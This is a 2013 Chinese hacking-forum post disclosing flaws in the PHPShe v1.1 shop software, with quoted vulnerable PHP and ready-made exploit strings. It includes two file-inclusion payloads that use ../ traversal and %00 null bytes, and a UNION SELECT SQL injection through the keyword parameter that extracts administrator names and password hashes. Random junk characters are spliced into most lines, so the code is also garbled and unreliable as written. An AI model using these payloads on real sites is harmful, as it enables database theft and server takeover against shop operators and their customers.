找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2347|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
! t+ A+ e' j5 U* T- }  q# ~/* Phpshe v1.1 Vulnerability5 r  i, ?2 h! x
/* ========================1 [1 [. t' P& c; O
/* By: : Kn1f3$ ?) c/ Y! a# V( S9 n6 \3 Y
/* E-Mail : 681796@qq.com
+ a  K/ v; J! D) U' L% [0 y! e( C/*******************************************************/+ Z) N, [9 t5 }+ z
0×00 整体大概参数传输
# M/ i# e; Y9 Y
) J3 u# ?& T: \6 L& z; ]- r2 N9 @1 @8 L) ?+ r; y

3 m4 Q9 T. I! C) P; R3 S//common.php0 |' v0 `+ d3 T7 z+ W
if (get_magic_quotes_gpc()) {0 Z* c& L. N/ L- F
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');' a$ G$ C4 ?9 q9 V/ |: O+ R
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');  W: {4 H" _0 m: u! B
}' V  ~) g' R5 e9 W# a* u
else {) E& I1 {2 {" u1 e9 ?/ y, y0 F
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');8 R% R; B$ T4 s/ j5 d% t
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');! A4 V* K+ S+ [* S+ ?
}8 M5 |. \$ K& U! x  @" n
session_start();
+ t7 H7 w' k" h/ R, C!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');9 Q# G. _0 ~; n7 [
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
6 }4 u7 z2 u7 Q" W2 a* \- ~/ h0 D# b  w. Q3 b( C9 g2 t
0×01 包含漏洞
7 \2 j# k' N2 F! U; n/ F* T 7 g. u4 F- U+ n, [+ a6 v$ N3 h
4 A- f1 r# S9 u9 A- z
//首页文件
# }, C( u2 F: U% I6 M: l0 D<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% x. S6 S' Q  }4 I4 ~) D4 n4 B6 Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ z! u' f( M6 p1 f8 V( i. q$ P7 Lpe_result();1 \5 p" a4 K; }9 t, E* v
?>
( G+ T! _9 L1 ], l$ l9 \//common 文件 第15行开始
/ f; \/ J& O: uurl路由配置
  G' @/ _' R/ ^7 H9 _5 Y! N$module = $mod = $act = 'index';
3 C$ h; F) H8 w$ T8 G; n8 F$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);9 g5 u! }& E2 {" x( ]" d1 m! ^4 `
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 Z/ }* K0 I' X7 b( u, X. c$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
- Q, d( U6 Y* u0 b  X, R# u//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%001 k0 t( D. g: W1 U2 f* X$ G

1 }$ v9 _2 J/ s% ~; p0 T) r/ {# R
1 D7 _3 q/ ^0 T1 R
0×02 搜索注入5 z/ T  B' v& c* P: x
( r, Z) B( W8 [7 X- _. y
<code id="code2">

//product.php文件
5 w0 ^0 G5 y* J/ a% R& D5 a+ c% Fcase 'list':. q5 J7 [% R$ m! F) a( Y6 I) z
$category_id = intval($id);
/ [3 e8 S2 p7 w$info = $db->pe_select('category', array('category_id'=>$category_id));
# ?% g/ |* j; H! s# ^2 z4 \//搜索, R* U" t0 O4 D: h+ q
$sqlwhere = " and `product_state` = 1";
' W' l4 `% I; _8 T  r& L/ ope_lead('hook/category.hook.php');
! s3 a* r9 O3 Nif ($category_id) {
0 Q1 i& L( l4 D* |3 j4 y; [where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";% u1 M6 M, e. R1 }3 m' j' `! U  y1 }
}
5 r& J& b. @+ v* x4 X  D$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
; d  U1 }% b+ ?# L- W8 F. `/ n, oif ($_g_orderby) {
0 B7 q, v9 V, p1 s) F: O  o; G% T+ o$orderby = explode('_', $_g_orderby);7 o5 V; {$ C) B; O
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";# a. n$ j  v6 K
}
/ J3 _" s6 E2 Z$ K4 Aelse {
/ o) ?) s1 T: T; C8 ^$sqlwhere .= " order by `product_id` desc";
& l' g! q, N4 o% E8 C/ e}
6 j  V# T8 n; S/ Q* G* f9 o& F$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 q) t& {; a6 }* F, _, t: c& ~7 c//热卖排行
& ^, F9 J) ^9 b' A4 a/ K$product_hotlist = product_hotlist();
  ~4 z! e0 ]+ g//当前路径3 }2 \' S. x$ |% P' a& N. a
$nowpath = category_path($category_id);1 o& v2 e. q( v) d# b3 h
$seo = pe_seo($info['category_name']);& k: }3 c: N  @' v7 \; g$ D- r. \( K# F
include(pe_tpl('product_list.html'));
2 r+ n7 h* h7 p4 A2 U//跟进selectall函数库' U9 x/ N8 v! d; Z- c2 z
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())& i" @- v: e  b3 Y, b. ?0 j+ t) `
{2 r" V7 i& ~0 M! o) L3 B8 x: S: z
//处理条件语句0 l: M9 y; }; v' Z
$sqlwhere = $this->_dowhere($where);' Y' x. ^( v: l6 n9 k' p2 @
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& n  T4 @3 w) r& U9 |- h}
) \7 b, r1 s9 G4 k/ R//exp
6 E: _, `, V! L* v3 {product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 w( O! e0 ^1 I: c( U

</code>
- \, v3 v& f8 D0 H& m3 Q& W
. K% y1 W0 H- X" f1 U6 F% [: p0×03 包含漏洞2
: W% v" H7 O/ q% o/ O  ^ - s( W- u, Z; T! u0 y7 |4 `
<code id="code3">

//order.php

case 'pay':


5 H& Q- E2 R1 }1 y1 l$order_id = pe_dbhold($_g_id);


3 ]( ]1 [# w  x' G0 q$cache_payway = cache::get('payway');

1 ^3 `$ g$ @- u& J' O; k! O
foreach($cache_payway as $k => $v) {


$ c! R5 H) p! c1 G8 ^$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

! }6 ^0 ^3 ^7 k/ q! u3 i  l% G. w7 G
if ($k == 'bank') {

, ^( K, A3 L5 t: J
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

  D& R1 D. J0 R! }( X2 r3 r
}


5 P7 f5 H& k) E2 p$ A}


5 R: T# ]) a  C8 B$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


# E: @: W9 y4 R7 y!$order['order_id'] && pe_error('订单号错误...');

7 {+ Y  n) E3 X
if (isset($_p_pesubmit)) {


3 x# p! J7 q, aif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 R& Y$ r7 \* X' b2 Y$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. h) ^/ @5 O2 m, s, M) W
foreach ($info_list as $v) {


9 ^1 n2 U' N1 F8 Q7 m2 }4 y$order['order_name'] .= "{$v['product_name']};";/ c+ o$ Y3 b2 H% V+ _, J3 g

  U7 I, C( ]& |% Q
}


. ?1 W$ k, `2 Y$ S. L0 techo '正在为您连接支付网站,请稍后...';


  M2 R  O( z3 ?2 k2 }" Xinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


% u7 M% A2 x' H! z}//当一切准备好的时候就可以进行"鸡肋包含了"

: M2 U$ v& X- l+ T) S
else {

, c" U4 P: m) g- v* l
pe_error('支付错误...');

& l1 ]: T' K1 O& k
}


" B, q+ {% B" b1 d: B}


, V3 M. U  h0 [  o- u( v$seo = pe_seo('选择支付方式');


* U; f- w0 r  T9 [, |include(pe_tpl('order_pay.html'));

% ]# A+ s' }& Q) `" f( C2 ~$ G; ?
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 m3 w! I( M1 F! [9 fhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表